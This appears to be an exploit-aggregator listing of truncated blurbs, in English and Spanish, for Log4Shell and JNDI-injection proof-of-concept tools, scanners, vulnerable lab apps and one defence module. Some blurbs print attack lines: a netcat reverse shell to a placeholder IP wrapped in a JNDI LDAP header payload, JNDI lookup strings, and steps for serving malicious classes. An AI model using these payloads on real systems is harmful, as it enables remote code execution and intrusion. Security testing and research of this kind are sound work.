Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell Vulnerability Complete Replication Record This record is based on the Apache Solr 8.11.0 target environment provided by Vulhub, fully replicating the Log4j2 JNDI injection vulnerability, and successfully verifying the vulnerability's existence through DNSLog and local LDA...

CVE-2021-44228

CVE-2021-44228 Abusar de Log4J CVE-2021-44228 para parchear CVE-2021-44228 en sesiones de juego de Minecraft vulnerables y prevenir la explotación en la sesión : Un viaje desde la manipulación de JNDI/LDAP hasta la tierra de los sueños de ejecución remota de código...

JNDI-Injection-Exploit

JNDI-Injection-Exploit Materials about JNDI Injection Documento en chino Artículos relacionados Descripción JNDI-Injection-Exploit es una herramienta para generar enlaces JNDI funcionales y proporcionar servicios en segundo plano iniciando un servidor RMI, un servidor LDAP y un servidor HTTP. El...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

CVE-2020-8840

CVE-2020-8840 Código del entorno de reproducción y análisis de la vulnerabilidad de ejecución remota de código en Jackson-databind CVE-2020-8840. El proyecto incluye: jackson-databind, Fastjson payloads Clase maliciosa WebServer marshalsec-0.0.3-SNAPSHOT-all.jar compilado Resumen de la...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat Preview Setup Start tomcat server root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat Serve the exploit class root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.ja...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp root@kitploit: CVE20202551...

nmap-log4shell

Script NSE Nmap Log4Shell para descubrir Apache Log4j RCE CVE-2021-44228 nmap-log4shell es un script NSE para descubrir la vulnerabilidad Apache Log4j RCE CVE-2021-44228 a través de la red. El script es capaz de inyectar el payload de exploit log4shell a través de cabeceras HTTP por defecto o a...

Log4J-Simulation-Tool

About The Project This is a specially crafted automated Vulnerability Scanner, Patch Management and Exploitation tool for CVE-2021-44228. This is a combination of Python, Java and Linux shell program which will make it easier for a Network Administrator, Endpoint Security Developers and...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Proof of Concept of apache log4j LDAP lookup vulnerability You can read more about the vulnerability here: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ How to run the provided ldap server that returns malicious object ? java -jar...

Log4j-JNDIServer

Log4j-JNDIServer This project will help to test the Log4j CVE-2021-44228/CVE-2021-45046 vulnerabilities. Installation and Building Load the project on Intellij Idea Select JDK in "Projects Settings" CTRL + ALT + SHIFT + S In "Project Settings", create the Artifact - "Artifacts" - "Create JAR from...

log4shell-vulnerable-app

Aplicación de ejemplo vulnerable Log4Shell CVE-2021-44228 Este repositorio contiene una aplicación web Spring Boot vulnerable a CVE-2021-44228, apodada Log4Shell. Utiliza Log4j 2.14.1 a través de spring-boot-starter-log4j2 2.6.1 y el JDK 1.8.0181. Ejecutar la aplicación Ejecútala: root@kitploit:...

Log4Shell-Payloads

🚨 Colección de Payloads Log4Shell Una lista curada de payloads de explotación Log4Shell / Log4J dirigidos a: CVE-2021-45046 CVE-2022-42889 🔗 Por @nav1n0x 🔥 Payloads de una línea ✅ Oneliner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

log4shell-tools

log4shell.tools log4shell.tools is a tool that allows you to run a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046. This is the code that runs https://log4shell.alexbakker.me. If you'd like to inspect the code or...

log4jcheck

Log4j CVE-2021-44228 checker Multithreaded checks a list of URLs with POST and GET requests in combination with parameters. Heavily inspired by NortwaveSecurity version. Set-up URLs to check The list of URLs to check should be in the following format csv: root@kitploit:...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServ...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

cloudrasp-log4j2

CloudArmor · Módulo de Autoprotección de Aplicaciones en Tiempo de Ejecución - Versión Log4j2 简体中文 Este proyecto es una versión local de CloudArmor construida específicamente para defender Log4j2 CVE-2021-44228. No se requiere conexión de red para ejecutar este proyecto. Por favor, REALICE PRUEBA...

CVE-2020-8840

CVE-2020-8840: FasterXML/jackson-databind Remote Code Execution Vulnerability 0x00 Introduction jackson-databind is a JSON processing library under the FasterXML project. 0x01 Vulnerability Overview On February 19, NVD released a security advisory disclosing a remote code execution vulnerability...

CVE-2023-25194

This tool is intended for security testing purposes only. Do not engage in any illegal activities. Any consequences resulting from misuse are solely your responsibility. The CVE-2023-25194 detection tool utilizes JNDI to load the response content returned by the DNS log platform to determine the...